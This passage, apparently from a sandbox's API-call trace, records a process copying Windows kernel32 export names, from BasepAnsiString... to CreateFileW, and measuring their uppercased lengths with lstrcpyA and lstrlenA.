returned="BasepAnsiStringToDynamicUnicodeString" [0140.475] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.475] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.475] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.475] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.475] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.475] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.475] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.475] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.475] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.475] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.475] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.475] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.475] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.475] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.475] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.475] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.475] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.475] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.476] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.476] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.476] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.476] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.476] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.476] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.476] lstrlenA (lpString="BEEP") returned 4 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.476] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.476] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.476] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.476] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.476] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.476] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.476] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.476] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.476] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.476] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.476] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.476] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.477] lstrlenA (lpString="CANCELIO") returned 8 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.477] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.477] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.477] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.477] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.477] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.477] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.477] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.477] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.477] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.477] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.477] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.477] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.477] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.477] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.477] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.477] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.477] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.477] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.477] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.478] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.478] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.478] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.478] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.478] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.478] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.478] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.478] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.478] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.478] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.478] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.478] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.478] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.478] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.478] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.479] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.479] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.479] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.479] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.479] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.479] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.479] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.479] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.479] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.479] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.479] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.479] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.479] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.479] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.479] lstrlenA (lpString="COPYFILE2") returned 9 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.479] lstrlenA (lpString="COPYFILEA") returned 9 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.479] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.479] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.479] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.479] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.479] lstrlenA (lpString="COPYFILEW") returned 9 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.480] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.480] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.480] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.480] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.480] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.480] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.480] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.480] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.480] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.480] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.480] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.480] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.480] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.480] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.480] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.480] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.480] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.480] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.480] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.481] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.481] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.481] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.481] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.481] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.481] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.481] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.481] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.481] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.481] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") 